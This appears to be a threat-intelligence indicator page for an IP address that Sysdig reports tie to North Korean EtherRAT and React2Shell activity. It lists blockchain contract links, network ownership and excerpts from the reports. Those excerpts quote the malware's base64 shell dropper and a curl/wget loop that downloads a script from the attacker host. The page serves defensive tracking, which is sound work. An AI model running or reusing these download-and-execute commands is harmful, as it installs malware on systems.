`193.24.123.68`

193.24.123.68 is an IP address that 2 published sources report in connection with unclustered DPRK activity, which public reporting attributes to North Korea (DPRK). It is cited here from Sysdig. The earliest of those reports is dated 2025-12-08 and the most recent 2025-12-16.

On-chain links

EtherHiding addresses that pointed malware at this host, newest first. Dates are when the value was written on-chain, and Transaction opens the one that first wrote it; a row without one is a tie a cited report states. See the EtherHiding Tracker.

Address	Transaction	Type	Role	Malware family	First written	Last written
`0xa1b40044ebc2794f207d45143bd82a1b86156c6b`	Etherscan	Contract, ethereum	mapping contract	Tsundere	2025-06-21	2025-11-01

ip address DPRK (cluster unattributed) MATCHED IN SOURCE

First seen 2025-12-08 · last seen 2025-12-16

Network

Kind	fixed line
Network	Prospero OOO
Announced by	AS200593 PROSPERO OOO
Country	Russia

Looked up 2026-09-21 at ip-api.com. A subscriber line, as a person working from home ordinarily has.

Sources

…child_process.exec() to run shell commands. Secondary C2 infrastructure The worm reveals a second C2 server: const SHELL_URL = 'http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh' ; Server Role Port 91.215.85.42 Primary C2 (recon, credentials) 3000…
EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2 — Sysdig · under “Secondary C2 infrastructure” · published 2025-12-16 · pulled 2026-09-12
…payload: sh -c echo <base64>|base64 -d|bash When decoded, this reveals a persistent download loop: while :; do (curl -sL http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o ./s.sh 2>/dev/null || \ wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh…
EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks — Sysdig · under “Stage 0: Initial access via base64 shell dropper” · published 2025-12-08 · pulled 2026-09-12

Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.

Related indicators

Cited by the same report: EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2

Sysdig lists 5 other indicators in this source.

Cited by the same report: EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks

Sysdig lists 56 other indicators in this source. 7 are shown, chosen across types.

All 57 indicators from this source